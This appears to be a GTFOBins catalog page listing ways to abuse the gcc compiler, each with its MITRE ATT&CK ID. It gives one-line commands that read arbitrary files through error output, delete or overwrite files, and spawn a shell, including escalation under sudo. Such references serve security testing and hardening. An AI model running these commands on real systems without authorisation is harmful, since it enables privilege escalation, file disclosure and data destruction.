Catalog GTFOBins

GTFO · Tool

gcc

8 techniques Linux · macOSGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation LinuxmacOS

The file is read and parsed as a list of files (one per line), the content is displayed as error messages.

gcc @/path/to/input-file
Context
sudo
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS

The file is read and parsed as a list of files (one per line), the content is displayed as error messages.

gcc @/path/to/input-file
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation LinuxmacOS

This actually deletes the file.

gcc -x c /dev/null -o /path/to/input-file
Context
sudo
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS

This actually deletes the file.

gcc -x c /dev/null -o /path/to/input-file
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege Escalation LinuxmacOS

In some older versions, the `x` argument must instead reference any existing file.

gcc -wrapper /bin/sh,-s x
Context
sudo
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS

In some older versions, the `x` argument must instead reference any existing file.

gcc -wrapper /bin/sh,-s x
Context
unprivileged
Native
shell
MITRE
T1059